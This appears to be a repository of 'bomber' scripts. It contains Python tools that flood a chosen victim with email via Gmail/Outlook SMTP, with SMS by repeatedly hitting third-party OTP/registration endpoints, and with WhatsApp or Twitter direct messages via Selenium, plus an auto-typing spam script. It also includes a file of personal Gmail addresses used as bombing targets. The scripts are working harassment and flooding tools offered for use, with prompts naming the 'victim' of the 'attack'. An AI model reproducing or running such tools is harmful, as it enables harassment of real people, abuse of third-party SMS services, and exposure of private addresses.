├── requirements_WBOMB.txt ├── email.txt ├── numspy_bomber.py ├── Email_Bomber_Version2.py ├── Email_bomber.py ├── SMS_bomber_version2.py ├── sms_bomber_updated.py ├── SMS_bomber.py ├── wbomb.py ├── Twitter_bomber.py ├── spam.py └── README.md /requirements_WBOMB.txt: -------------------------------------------------------------------------------- 1 | selenium 2 | pyfiglet 3 | colorama 4 | webdriver-manager 5 | ChromeDriverManager 6 | -------------------------------------------------------------------------------- /email.txt: -------------------------------------------------------------------------------- 1 | iansarn@gmail.com 2 | ianschramm77@gmail.com 3 | ian.sears1@gmail.com 4 | ian.sheila@gmail.com 5 | ian.sheldon6@gmail.com 6 | -------------------------------------------------------------------------------- /numspy_bomber.py: -------------------------------------------------------------------------------- 1 | from numspy import Way2sms 2 | 3 | try: 4 | w2s = Way2sms() 5 | 6 | mobile_number= int(input("Enter the 10 digit Mobile number on which you want bomb: ")) 7 | message= input("Enter message: ") 8 | n = int(input("How many messsages you want to send? (limit is 100/day): ")) 9 | 10 | username = input("Your way2sms username: ") 11 | password = input("Your way2sms password: ") 12 | w2s.login(username,password) 13 | 14 | for i in range(0,n): 15 | w2s.send(mobile_number,message) 16 | print(str(i+1)+" messages sent!") 17 | 18 | w2s.logout() 19 | except Exception as e: 20 | print("Something is wrong try again!") 21 | -------------------------------------------------------------------------------- /Email_Bomber_Version2.py: -------------------------------------------------------------------------------- 1 | import smtplib 2 | import time 3 | print ("\033[1;31m_________ __ __ ____ ________ __ \033[1;m") 4 | print ("\033[1;34m|########| |##\ /##| /####\ |########| |##| By @everydaycodings \033[1;m") 5 | print ("\033[1;34m|##|____ |###\ __ /###| /##/\##\ |##| |##| Made with code \033[1;m") 6 | print ("\033[1;34m|########| |##| |##| |##| /########\ |##| |##| ____ __ ____ __ ___ \033[1;m") 7 | print ("\033[1;31m|##|_____ |##| |##| /##/ \##\ __|##|__ |##|_______ |__| | | |\/| |__| |__ |__| \033[1;m") 8 | print ("\033[1;31m|########| |##| |##| /##/ \##\ |########| |##########| _|__| |__| | | _|__| |__ | \ \033[1;m") 9 | 10 | files = open('email.txt', 'r') 11 | bomb_emails = files.readlines() 12 | 13 | 14 | email = input("Enter your gmail_address:") 15 | password = input("Enter your gmail_password:") 16 | message = input("Enter Message:") 17 | message_relode = int(input("How many message you want to send?:")) 18 | 19 | 20 | for bomb_email in bomb_emails: 21 | for x in range(0, message_relode): 22 | mail = smtplib.SMTP('smtp.gmail.com',587) 23 | mail.ehlo() 24 | mail.starttls() 25 | mail.login(email,password) 26 | mail.sendmail(email,bomb_email,message) 27 | print("message sent to {}".format(bomb_email)) 28 | time.sleep(1) 29 | 30 | mail.close() 31 | files.close() 32 | 33 | print("Done") 34 | -------------------------------------------------------------------------------- /Email_bomber.py: -------------------------------------------------------------------------------- 1 | import smtplib 2 | import time 3 | print ("\033[1;31m_________ __ __ ____ ________ __ \033[1;m") 4 | print ("\033[1;34m|########| |##\ /##| /####\ |########| |##| By D3XBugg3R \033[1;m") 5 | print ("\033[1;34m|##|____ |###\ __ /###| /##/\##\ |##| |##| With <3 of T34M GCA \033[1;m") 6 | print ("\033[1;34m|########| |##| |##| |##| /########\ |##| |##| ____ __ ____ __ ___ \033[1;m") 7 | print ("\033[1;31m|##|_____ |##| |##| /##/ \##\ __|##|__ |##|_______ |__| | | |\/| |__| |__ |__| \033[1;m") 8 | print ("\033[1;31m|########| |##| |##| /##/ \##\ |########| |##########| _|__| |__| | | _|__| |__ | \ \033[1;m") 9 | 10 | try: 11 | bomb_email = input("Enter Email address on Whom you want to perfom this attack: ") 12 | email = input("Enter your gmail_address:") 13 | password = input("Enter your gmail_password:") 14 | message = input("Enter Message:") 15 | counter = int(input("How many message you want to send?:")) 16 | 17 | # gmail of outlook 18 | s_ = input('Select the service provider (Gmail / Outlook): ').lower() 19 | 20 | if s_ == "gmail": 21 | mail = smtplib.SMTP('smtp.gmail.com',587) 22 | elif s_ == "outlook": 23 | mail = smtplib.SMTP('smtp.office365.com',587) 24 | 25 | for x in range(0,counter): 26 | print("Number of Message Sent : ", x+1) 27 | mail.ehlo() 28 | mail.starttls() 29 | mail.login(email,password) 30 | mail.sendmail(email,bomb_email,message) 31 | time.sleep(1) 32 | 33 | mail.close() 34 | except Exception as e: 35 | print("Something is wrong, please Re-try Again with Valid input.") 36 | -------------------------------------------------------------------------------- /SMS_bomber_version2.py: -------------------------------------------------------------------------------- 1 | from urllib.request import Request,urlopen 2 | from urllib.parse import urlencode,quote_plus 3 | import platform 4 | import os 5 | import time 6 | import urllib 7 | import urllib.request 8 | import http.cookiejar 9 | 10 | def banner(): 11 | if platform.system().lower()=="windows": 12 | os.system("cls") 13 | else: 14 | os.system("clear") 15 | print(""" 16 | 17 | /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$$ /$$$$$$$$ /$$$$$$$ 18 | /$$__ $$| $$$ /$$$ /$$__ $$ | $$__ $$ /$$__ $$| $$$ /$$$| $$__ $$| $$_____/| $$__ $$ 19 | | $$ \__/| $$$$ /$$$$| $$ \__/ | $$ \ $$| $$ \ $$| $$$$ /$$$$| $$ \ $$| $$ | $$ \ $$ 20 | | $$$$$$ | $$ $$/$$ $$| $$$$$$ | $$$$$$$ | $$ | $$| $$ $$/$$ $$| $$$$$$$ | $$$$$ | $$$$$$$/ 21 | \____ $$| $$ $$$| $$ \____ $$ | $$__ $$| $$ | $$| $$ $$$| $$| $$__ $$| $$__/ | $$__ $$ 22 | /$$ \ $$| $$\ $ | $$ /$$ \ $$ | $$ \ $$| $$ | $$| $$\ $ | $$| $$ \ $$| $$ | $$ \ $$ 23 | | $$$$$$/| $$ \/ | $$| $$$$$$/ | $$$$$$$/| $$$$$$/| $$ \/ | $$| $$$$$$$/| $$$$$$$$| $$ | $$ 24 | \______/ |__/ |__/ \______/ |_______/ \______/ |__/ |__/|_______/ |________/|__/ |__/ 25 | 26 | By : D3XBugg3R 27 | With <3 of T34M GCA 28 | Note : I won't be responsible for any damage caused by this script, Use at your own risk 29 | """) 30 | #http://m.naaptol.com/faces/jsp/ajax/ajax.jsp?actionname=checkMobileUserExists&mobile= 31 | 32 | #https://securedapi.confirmtkt.com/api/platform/register?mobileNumber= 33 | 34 | #http://t.justdial.com/api/india_api_write/10aug2016/sendvcode.php?mobile= 35 | 36 | #http://www.quikr.com/SignIn?aj=1&for=send_otp&user= 37 | 38 | def send(num, counter, slep): 39 | url1 = ["https://securedapi.confirmtkt.com/api/platform/register?mobileNumber=","https://m.naaptol.com/faces/jsp/ajax/ajax.jsp?actionname=checkMobileUserExists&mobile="] 40 | #url="https://m.naaptol.com/faces/jsp/ajax/ajax.jsp?actionname=checkMobileUserExists&mobile=" 41 | data={"phone":num} 42 | x=y=0 43 | for y in range(int(counter)): 44 | for x in url1: 45 | banner() 46 | print("Target Number : ", num) 47 | print("Number of Message Sent : ", y+1) 48 | result_url=str(x)+num 49 | resp1=Request(result_url) 50 | urlopen(resp1) 51 | time.sleep(slep) 52 | 53 | banner() 54 | send(input("Enter Target Number : "), input("Enter Number of Messages : "), 1) 55 | -------------------------------------------------------------------------------- /sms_bomber_updated.py: -------------------------------------------------------------------------------- 1 | #python2 2 | #from urllib.request import Request,urlopen 3 | import urllib2,cookielib 4 | #from urllib.parse import urlencode 5 | import platform 6 | import os 7 | import time 8 | 9 | try: 10 | raw_input 11 | except NameError: 12 | raw_input = input 13 | 14 | def banner(): 15 | if platform.system().lower()=="windows": 16 | os.system("cls") 17 | else: 18 | os.system("clear") 19 | print(""" 20 | 21 | /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$$ /$$$$$$$$ /$$$$$$$ 22 | /$$__ $$| $$$ /$$$ /$$__ $$ | $$__ $$ /$$__ $$| $$$ /$$$| $$__ $$| $$_____/| $$__ $$ 23 | | $$ \__/| $$$$ /$$$$| $$ \__/ | $$ \ $$| $$ \ $$| $$$$ /$$$$| $$ \ $$| $$ | $$ \ $$ 24 | | $$$$$$ | $$ $$/$$ $$| $$$$$$ | $$$$$$$ | $$ | $$| $$ $$/$$ $$| $$$$$$$ | $$$$$ | $$$$$$$/ 25 | \____ $$| $$ $$$| $$ \____ $$ | $$__ $$| $$ | $$| $$ $$$| $$| $$__ $$| $$__/ | $$__ $$ 26 | /$$ \ $$| $$\ $ | $$ /$$ \ $$ | $$ \ $$| $$ | $$| $$\ $ | $$| $$ \ $$| $$ | $$ \ $$ 27 | | $$$$$$/| $$ \/ | $$| $$$$$$/ | $$$$$$$/| $$$$$$/| $$ \/ | $$| $$$$$$$/| $$$$$$$$| $$ | $$ 28 | \______/ |__/ |__/ \______/ |_______/ \______/ |__/ |__/|_______/ |________/|__/ |__/ 29 | 30 | By : D3XBugg3R 31 | Note : I won't be responsible for any damage caused by this script, Use at your own risk 32 | """) 33 | 34 | #https://securedapi.confirmtkt.com/api/platform/register?mobileNumber= 35 | 36 | #http://t.justdial.com/api/india_api_write/10aug2016/sendvcode.php?mobile= 37 | 38 | #https://securedapi.confirmtkt.com/api/platform/register?mobileNumber= 39 | def send(num, counter, slep): 40 | #url = ["https://securedapi.confirmtkt.com/api/platform/register?mobileNumber=","https://m.naaptol.com/faces/jsp/ajax/ajax.jsp?actionname=checkMobileUserExists&mobile=","https://t.justdial.com/api/india_api_write/10aug2016/sendvcode.php?mobile="] 41 | url="https://securedapi.confirmtkt.com/api/platform/register?mobileNumber=" 42 | #data={"phone":num} 43 | hdr = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3','Accept-Encoding': 'none','Accept-Language': 'en-US,en;q=0.8','Connection': 'keep-alive'} 44 | result_url=url+num 45 | req = urllib2.Request(result_url, headers=hdr) 46 | for x in range(counter): 47 | banner() 48 | #print("Target Number : ", num) 49 | #print("Number of Message Sent : ", x+1) 50 | page = urllib2.urlopen(req) 51 | #resp1=Request(result_url) 52 | #urlopen(resp1) 53 | time.sleep(slep) 54 | try: 55 | banner() 56 | number = raw_input("Enter mobileNumber: ") 57 | count = raw_input("Enter number of Message: ") 58 | throttle = raw_input("Enter time of sleep: ") 59 | send(number,int(count), int(throttle)) 60 | except Exception as e: 61 | print("Something is wrong please Re-run this script.") 62 | 63 | 64 | -------------------------------------------------------------------------------- /SMS_bomber.py: -------------------------------------------------------------------------------- 1 | #python2 2 | #from urllib.request import Request,urlopen 3 | import urllib2,cookielib 4 | #from urllib.parse import urlencode 5 | import platform 6 | import os 7 | import time 8 | 9 | try: 10 | raw_input 11 | except NameError: 12 | raw_input = input 13 | 14 | def banner(): 15 | if platform.system().lower()=="windows": 16 | os.system("cls") 17 | else: 18 | os.system("clear") 19 | print(""" 20 | /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$$ /$$$$$$$$ /$$$$$$$ 21 | /$$__ $$| $$$ /$$$ /$$__ $$ | $$__ $$ /$$__ $$| $$$ /$$$| $$__ $$| $$_____/| $$__ $$ 22 | | $$ \__/| $$$$ /$$$$| $$ \__/ | $$ \ $$| $$ \ $$| $$$$ /$$$$| $$ \ $$| $$ | $$ \ $$ 23 | | $$$$$$ | $$ $$/$$ $$| $$$$$$ | $$$$$$$ | $$ | $$| $$ $$/$$ $$| $$$$$$$ | $$$$$ | $$$$$$$/ 24 | \____ $$| $$ $$$| $$ \____ $$ | $$__ $$| $$ | $$| $$ $$$| $$| $$__ $$| $$__/ | $$__ $$ 25 | /$$ \ $$| $$\ $ | $$ /$$ \ $$ | $$ \ $$| $$ | $$| $$\ $ | $$| $$ \ $$| $$ | $$ \ $$ 26 | | $$$$$$/| $$ \/ | $$| $$$$$$/ | $$$$$$$/| $$$$$$/| $$ \/ | $$| $$$$$$$/| $$$$$$$$| $$ | $$ 27 | \______/ |__/ |__/ \______/ |_______/ \______/ |__/ |__/|_______/ |________/|__/ |__/ 28 | 29 | By : D3XBugg3R 30 | Note : I won't be responsible for any damage caused by this script, Use at your own risk 31 | """) 32 | 33 | #https://securedapi.confirmtkt.com/api/platform/register?mobileNumber= 34 | 35 | #http://t.justdial.com/api/india_api_write/10aug2016/sendvcode.php?mobile= 36 | 37 | #https://securedapi.confirmtkt.com/api/platform/register?mobileNumber= 38 | def send(num, counter, slep): 39 | #url = ["https://securedapi.confirmtkt.com/api/platform/register?mobileNumber=","https://m.naaptol.com/faces/jsp/ajax/ajax.jsp?actionname=checkMobileUserExists&mobile=","https://t.justdial.com/api/india_api_write/10aug2016/sendvcode.php?mobile="] 40 | url="https://securedapi.confirmtkt.com/api/platform/register?mobileNumber=" 41 | #data={"phone":num} 42 | hdr = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3','Accept-Encoding': 'none','Accept-Language': 'en-US,en;q=0.8','Connection': 'keep-alive'} 43 | result_url=url+num 44 | req = urllib2.Request(result_url, headers=hdr) 45 | for x in range(counter): 46 | banner() 47 | #print("Target Number : 01531999473", num) 48 | #print("Number of Message Sent : ", x+1) 49 | page = urllib2.urlopen(req) 50 | #resp1=Request(result_url) 51 | #urlopen(resp1) 52 | time.sleep(slep) 53 | try: 54 | banner() 55 | number = raw_input("Enter mobileNumber: ") 56 | count = raw_input("Enter number of Message: ") 57 | throttle = raw_input("Enter time of sleep: ") 58 | send(number,int(count), int(throttle)) 59 | except Exception as e: 60 | print("Something is wrong please Re-run this script.") 61 | 62 | 63 | -------------------------------------------------------------------------------- /wbomb.py: -------------------------------------------------------------------------------- 1 | import random 2 | import pyfiglet 3 | import webbrowser 4 | import os 5 | from colorama import Fore 6 | from time import sleep 7 | from selenium import webdriver 8 | from selenium.webdriver.common.by import By 9 | from selenium.webdriver.chrome.service import Service 10 | from webdriver_manager.chrome import ChromeDriverManager 11 | 12 | driver = None # Global variable to store the driver object 13 | 14 | def main(): 15 | clean() 16 | banner() 17 | ans=True 18 | while ans: 19 | print(""" 20 | 1. Start bombing 21 | 2. Support original creator 22 | 3. Exit/Quit 23 | """) 24 | ans=input("What would you like to do? ") 25 | if ans=="1": 26 | clean() 27 | bomb() 28 | elif ans=="2": 29 | webbrowser.open('https://github.com/bhattsameer/Bombers/') 30 | print("\n Thanks for supporting the original creator!") 31 | sleep(0.3) 32 | main() 33 | elif ans=="3": 34 | print("\n Goodbye") 35 | ans = None 36 | exit() 37 | else: 38 | print("\n Not a valid choice. Try again.") 39 | sleep(0.3) 40 | main() 41 | 42 | def setup(): 43 | options = webdriver.ChromeOptions() 44 | options.add_argument('--no-sandbox') 45 | options.add_argument('--disable-dev-shm-usage') 46 | 47 | # Set path to the ChromeDriver executable. 48 | service = Service(ChromeDriverManager().install()) 49 | 50 | global driver # Use the global driver variable 51 | driver = webdriver.Chrome(service=service, options=options) 52 | driver.get('https://web.whatsapp.com/') 53 | 54 | return driver # Return the initialized driver object 55 | 56 | def clean(): 57 | # For Windows 58 | if os.name == 'nt': 59 | _ = os.system('cls') 60 | # For macOS and Linux 61 | else: 62 | _ = os.system('clear') 63 | 64 | def banner(): 65 | foreground_colors = [Fore.MAGENTA, Fore.WHITE, Fore.MAGENTA, Fore.MAGENTA, Fore.WHITE, Fore.MAGENTA] 66 | 67 | f = pyfiglet.Figlet(font="stop") 68 | text = f.renderText('WB0MB') 69 | 70 | lines = text.split('\n') 71 | cur_fore = 0 72 | for line in lines: 73 | foreground_color = foreground_colors[cur_fore] # Get the foreground color based on the current index 74 | cur_fore = (cur_fore + 1) % len(foreground_colors) # Increment the index and wrap around if it exceeds the list length 75 | colored_line = f"{foreground_color}{line}" # Add the foreground color to the line 76 | print(colored_line) 77 | sleep(0.05) 78 | 79 | # Reset the colorama settings 80 | print(Fore.RESET) 81 | 82 | def bomb(): 83 | name = input('Enter the name of user or group: ') 84 | msg = input('Enter your message: ') 85 | count = int(input('Enter the count: ')) 86 | 87 | input('Enter any key whenever you\'re ready!') 88 | 89 | user = driver.find_element(By.XPATH, f'//span[@title="{name}"]') 90 | user.click() 91 | 92 | print('Waiting 4 seconds to let WhatsApp load...') 93 | sleep(4) 94 | # The classname of message box may vary. 95 | msg_box = driver.find_element(By.XPATH, '/html/body/div[1]/div/div/div[5]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]') 96 | 97 | for i in range(count): 98 | msg_box.send_keys(msg) 99 | # The classname of send button may vary. 100 | button = driver.find_element(By.XPATH, '/html/body/div[1]/div/div/div[5]/div/footer/div[1]/div/span[2]/div/div[2]/div[2]/button') 101 | button.click() 102 | 103 | print('Bombing Complete!!') 104 | sleep(4) 105 | main() 106 | 107 | driver = setup() 108 | input('Enter any key after scanning QR code') 109 | main() 110 | -------------------------------------------------------------------------------- /Twitter_bomber.py: -------------------------------------------------------------------------------- 1 | from selenium import webdriver 2 | import os 3 | from webdriver_manager.chrome import ChromeDriverManager 4 | import argparse 5 | from selenium.webdriver.support.ui import WebDriverWait 6 | from selenium.webdriver.common.by import By 7 | from selenium.webdriver.support import expected_conditions as EC 8 | import time 9 | import sys 10 | from selenium.webdriver.chrome.options import Options 11 | 12 | 13 | def banner(): 14 | print(''' 15 | _______ __ __ ____ ____ __ __ ____ 16 | |__ __| \ \ / / | _ \ / __ \ | \/ | | _ \ /\ 17 | | | \ \ /\ / / ___ __ _ _ __ | |_) | | | | | | \ / | | |_) | / \ 18 | | | \ \/ \/ / / __| / _` | | '__| | _ < | | | | | |\/| | | _ < / /\ \ 19 | | | \ /\ / \__ \ | (_| | | | | |_) | | |__| | | | | | | |_) | / ____ \ ☢️ 20 | |_| \/ \/ |___/ \__,_| |_| |____/ \____/ |_| |_| |____/ /_/ \_\ 21 | 22 | By: akshaykalucha3 23 | Note : I won't be responsible for any damage caused by this script, Use at your own risk 24 | 25 | ''') 26 | 27 | parser = argparse.ArgumentParser(description='Bomb twitter user with spam messages') 28 | 29 | """ 4 Step: 30 | cautain: be sure your connection is fast and take no more than 4-5sec to enter username of the victim as chrome driver is stateless 31 | and opening a new url after a interval of seconds may log you out of your twitter account. 32 | 33 | 1) run command python Twitter_bomber.py -u *your_twitter_username* -p *your_twitter_password* 34 | 2) enter correct username of person you want to spam, make sure his twitter messages are open, after message screen is opened, 35 | minimize window 7 follow #3 36 | 3) press 1 if you want to manually type the message you eant to send; or 2 if you want to export a file and extract message from there 37 | 4) enter message count 38 | 39 | """ 40 | 41 | parser.add_argument('-u', '--username', type=str, required=True, help="twitter username @\ of user, can be his phone number or email") 42 | parser.add_argument('-p', '--password', type=str, required=True, help="twitter password of the user") 43 | args = parser.parse_args() 44 | 45 | chrome_options = webdriver.ChromeOptions() 46 | chrome_options.add_experimental_option("detach", True) 47 | driver = webdriver.Chrome(ChromeDriverManager().install(), options=chrome_options) 48 | 49 | 50 | def bombMsg(n, txt): 51 | for i in range(n): 52 | WebDriverWait(driver, 20).until(EC.element_to_be_clickable((By.CSS_SELECTOR, '#react-root > div > div > div.css-1dbjc4n.r-18u37iz.r-13qz1uu.r-417010 > main > div > div > div > section:nth-child(2) > div.css-1dbjc4n.r-1pz39u2.r-13awgt0 > div > div > div > div > aside > div.css-1dbjc4n.r-obd0qt.r-18u37iz.r-1uu6nss.r-13qz1uu > div.css-1dbjc4n.r-1kihuf0.r-16y2uox.r-1wbh5a2 > div > div > div > div > div.css-901oao.r-jwli3a.r-6koalj.r-16y2uox.r-1qd0xha.r-a023e6.r-16dba41.r-ad9z0x.r-bcqeeo.r-qvutc0 > div > div > div > div.DraftEditor-editorContainer > div > div > div > div'))).send_keys(txt) 53 | SendBtn = driver.find_element_by_xpath('//*[@id="react-root"]/div/div/div[2]/main/div/div/div/section[2]/div[2]/div/div/div/div/aside/div[2]/div[3]') 54 | SendBtn.click() 55 | print("Bombing Complete !!!") 56 | banner() 57 | 58 | 59 | def attack(): 60 | driver.get('https://twitter.com/login') 61 | userId = driver.find_element_by_xpath('//*[@id="react-root"]/div/div/div[2]/main/div/div/div[1]/form/div/div[1]/label/div/div[2]/div/input') 62 | userId.send_keys(args.username) 63 | userPass = driver.find_element_by_xpath('//*[@id="react-root"]/div/div/div[2]/main/div/div/div[1]/form/div/div[2]/label/div/div[2]/div/input') 64 | userPass.send_keys(args.password) 65 | loginBtn = driver.find_element_by_xpath('//*[@id="react-root"]/div/div/div[2]/main/div/div/div[1]/form/div/div[3]/div') 66 | loginBtn.click() 67 | driver.minimize_window() 68 | 69 | 70 | name = input('Enter the twitter name of victim: ') 71 | if len(name) >= 3: 72 | pass 73 | else: 74 | name = input('Enter the name of victim correctly: ') 75 | 76 | 77 | 78 | ### GET VICTIM PROFILE PAGE ### 79 | driver.get(f'https://twitter.com/{name}') 80 | time.sleep(1) 81 | driver.maximize_window() 82 | 83 | 84 | ## GET MESSAGE INBOX ### 85 | messageLink = driver.find_element_by_xpath('//*[@id="react-root"]/div/div/div[2]/main/div/div/div/div[1]/div/div[2]/div/div/div[1]/div/div[1]/div/div[2]') 86 | messageLink.click() 87 | 88 | 89 | 90 | #### SEND MESSAGE IN VICTIMS INBOX ### 91 | WebDriverWait(driver, 20).until(EC.element_to_be_clickable((By.XPATH, '//*[@id="react-root"]/div/div/div[2]/main/div/div/div/section[2]/div[2]/div/div/div/div/aside/div[2]/div[2]/div/div/div/div/div[1]/div'))).click() 92 | MsgBx = driver.find_element_by_css_selector('#react-root > div > div > div.css-1dbjc4n.r-18u37iz.r-13qz1uu.r-417010 > main > div > div > div > section:nth-child(2) > div.css-1dbjc4n.r-1pz39u2.r-13awgt0 > div > div > div > div > aside > div.css-1dbjc4n.r-obd0qt.r-18u37iz.r-1uu6nss.r-13qz1uu > div.css-1dbjc4n.r-1kihuf0.r-16y2uox.r-1wbh5a2 > div > div > div > div > div.css-901oao.r-jwli3a.r-6koalj.r-16y2uox.r-1qd0xha.r-a023e6.r-16dba41.r-ad9z0x.r-bcqeeo.r-qvutc0 > div > div > div > div.DraftEditor-editorContainer > div > div > div > div') 93 | Ops = int(input("Select what form of messahe you would like to send: \n Enter [1] to send manual message Enter [2] to import a txt file: ")) 94 | if Ops == 1: 95 | Content = input("Enter the message: ") 96 | elif Ops == 2: 97 | fileLoc = input("Enter the file location: ") 98 | instances = int(input("Enter total count: ")) 99 | 100 | bombMsg(instances, Content) 101 | 102 | attack() 103 | 104 | -------------------------------------------------------------------------------- /spam.py: -------------------------------------------------------------------------------- 1 | # Discord: TiMoFey#5066 2 | # Github: https://github.com/timofey260/pyspam 3 | # site: https://timofey26s.tilda.ws 4 | # import______________________________________________ 5 | import codecs 6 | import pyautogui 7 | from os import system # system use for clear messages 8 | from time import sleep # sleep block on load{wait...} 9 | from colorama import Fore, init # for colored text 10 | 11 | # inits________________________________________________ 12 | init(Fore) # colorama init 13 | uns = '' # unuse str. uses for def error() 14 | # colors_______________________________________________ 15 | rr = Fore.RED 16 | rg = Fore.GREEN 17 | rc = Fore.CYAN 18 | ry = Fore.YELLOW 19 | # vars_______________________________________ 20 | x = 6 21 | modes = 3 22 | v = "1.2.5" 23 | run = True 24 | # banners____________________________________________ 25 | log = ('1.2.5:\n' 26 | '-interval added\n') 27 | b = ('_____ + |||||||||||||||||| \n' 28 | ' | /\\ /\\ |||||(0)|||(0)|||| \n' 29 | ' | | / \\ / \\ |||||||||||||||||| \n' 30 | ' | | / \\ / \\ ||||0\\|||||||/0||| \n' 31 | ' | | / \\/ \\ ||||\\00000000/|||| \n' 32 | '========spam_programm===========|||||||||||||||||| \n') # menu 33 | cr = (rg + ' ________________________________________________ \n' 34 | '|-------------------Made by Timofey--------------|\n' 35 | '|Discord: TiMoFey#5066 |\n' 36 | '|Github: https://github.com/timofey260/pyspam |\n' 37 | '|site: https://timofey26s.tilda.ws |\n' 38 | '|________________________________________________|\n') 39 | err = (rr + ' _________________________________________________________ \n' 40 | '|---------------------------Errors------------------------|\n' 41 | '|1. FileError: file not found! |\n' 42 | '|2. NumError: {str} not a number! |\n' 43 | '|3. IndexError: index out of range! |\n' 44 | '|4. TypeError: {str} is not 1 - %1s! |\n' 45 | '|5. ListError: Error not found! correct def error() |\n' 46 | '|_________________________________________________________|\n' % (x)) 47 | 48 | 49 | # deffs___________________________________________ 50 | def error(value, result, ver): # errors: easy moding 51 | if value == 1: 52 | print('FileError: %1s file not found!' % result) 53 | 54 | elif value == 2: 55 | print('NumError: %1s not a number!' % result) 56 | 57 | elif value == 3: 58 | print('IndexError: index out of range!') 59 | 60 | elif value == 4: 61 | print('TypeError: %1s is not 1 - %1s!' % (result, ver)) 62 | 63 | else: 64 | print('ListError: Error not found! correct def error()') 65 | input() 66 | exit() 67 | 68 | def menud(pa1, pa2): 69 | print(ry + "[" + rc + str(pa1) + ry + "] " + pa2) 70 | 71 | 72 | def menu(): 73 | print(rr + b) 74 | menud(1, 'mode') # menu text 75 | menud(2, 'credits') 76 | menud(3, 'Errorlist') 77 | menud(4, 'exit') 78 | menud(5, 'version') 79 | menud(6, 'log') 80 | import pyperclip, keyboard 81 | 82 | def paste(text): 83 | pyperclip.copy(text) 84 | keyboard.press_and_release('ctrl + v') 85 | 86 | 87 | # programms__________________________________________________ 88 | while run: 89 | 90 | menu() 91 | name = input('>>> ') # name(int) 92 | if name == '1': 93 | menud(1, 'file') # menu text 94 | menud(2, 'message') 95 | menud(3, 'num_message') 96 | name = input('>>> ') 97 | if name == '1': 98 | 99 | f = input("file name: ") # f - filename(str) 100 | print(rg + 'num of messages(you can use"all"): ' + rr) 101 | 102 | n = input() # n - num of messages(int or str('all')) 103 | try: 104 | inte = int(input("interval[sec]: ")) 105 | 106 | except: 107 | error(2, inte, ver) 108 | if n == 'all': 109 | num = 0 # num - index of file(int) 110 | fil = f + ".txt" # file.txt 111 | try: # errorfind 112 | file = codecs.open(fil, 'r', encoding='utf-8').readlines() # open file for 'all' 113 | except: 114 | error(1, fil, x) 115 | filew = file 116 | le = len(filew) 117 | elif n != 'all': 118 | 119 | try: # errorfind 120 | n = int(n) # n - num of messages(int or str('all')) 121 | except: 122 | error(2, n, x) 123 | num = 0 124 | fil = f + ".txt" 125 | try: # errorfind 126 | file = codecs.open(fil, 'r', encoding='utf-8').readlines() # open file for 'slice' 127 | filew = file[:n] # slice of file 128 | except: 129 | error(1, fil, x) 130 | le = len(filew) 131 | if n > len(filew): 132 | error(3, uns, x) 133 | 134 | elif n == "": 135 | error(2, n, x) 136 | sleep(4) # wait... 137 | system('cls||clear') # cls 138 | 139 | print(ry + b + "\nwait. ") 140 | sleep(0.5) 141 | system('cls||clear') 142 | 143 | print(ry + b + "\nwait.. ") 144 | sleep(0.5) 145 | system('cls||clear') 146 | 147 | print(ry + b + "\nwait...") 148 | system('cls||clear') 149 | for a in filew: # spam messages in file 150 | sleep(inte) 151 | print(rg + '%1d message send!' % (num + 1)) # print messages in screen 152 | paste(a) 153 | num = num + 1 154 | pyautogui.press('enter') 155 | print('=====process=====#file') 156 | pyautogui.alert('succefuly send %2d messages!' % (le)) # result 157 | elif name == '2': 158 | print(rr + b) 159 | print(rg + 'text: ' + rr) 160 | g = input() 161 | print(rg + 'num of messages(0 = inf.): ' + rr) 162 | try: 163 | inte = int(input("interval[sec]: ")) 164 | 165 | except: 166 | error(2, inte, ver) 167 | try: # errorfind 168 | n = int(input()) 169 | except: 170 | 171 | error(2, n, x) 172 | sleep(4) # wait... 173 | f = range(n) 174 | system('cls||clear') # cls 175 | 176 | print(ry + b + "\nwait. ") 177 | sleep(0.5) 178 | system('cls||clear') 179 | 180 | print(ry + b + "\nwait.. ") 181 | sleep(0.5) 182 | system('cls||clear') 183 | 184 | print(ry + b + "\nwait...") 185 | system('cls||clear') 186 | 187 | print('=====process=====#message') 188 | print(b, '\nmessage: %1s\ntimes: %1s' % (g, n)) 189 | if n != 0: 190 | for i in f: # spam messages 191 | sleep(inte) 192 | print(rg + '%1d message send!' % (i + 1)) # print messages in screen 193 | paste(g) 194 | pyautogui.press('enter') 195 | elif n == 0: 196 | r = True 197 | i = 0 198 | while r: 199 | i = i + 1 200 | sleep(inte) 201 | print(rg + '%1d message send!' % (i)) 202 | paste(g) 203 | pyautogui.press('enter') 204 | 205 | pyautogui.alert('succefuly send %2d messages!' % n) # result 206 | elif name == '3': 207 | print(rr + b) 208 | print(rg + 'prefix: ' + rr) 209 | g = str(input()) 210 | 211 | print(rg + 'suffix: ' + rr) 212 | su = str(input()) 213 | print(rg + 'num of messages(0 = inf.): ' + rr) 214 | try: 215 | inte = int(input("interval[sec]: ")) 216 | 217 | except: 218 | error(2, inte, ver) 219 | try: # errorfind 220 | n = input() 221 | n = int(n) 222 | except: 223 | 224 | error(2, n, x) 225 | sleep(4) # wait... 226 | f = range(n) 227 | system('cls||clear') # cls 228 | 229 | print(ry + b + "\nwait. ") 230 | sleep(0.5) 231 | system('cls||clear') 232 | 233 | print(ry + b + "\nwait.. ") 234 | sleep(0.5) 235 | system('cls||clear') 236 | 237 | print(ry + b + "\nwait...") 238 | system('cls||clear') 239 | 240 | print('=====process=====num_message') 241 | print(b, '\nprefix: %1s\nsuffix %1s\ntimes: %1s' % (g, su, n)) 242 | if n != 0: 243 | for i in f: # spam messages 244 | sleep(inte) 245 | print(rg + '%1d message send!' % (i + 1)) # print messages in screen 246 | fo = ('%1s %1s %1s' %(g, str(i), su)) 247 | paste(g) 248 | pyautogui.press('enter') 249 | i = i + 1 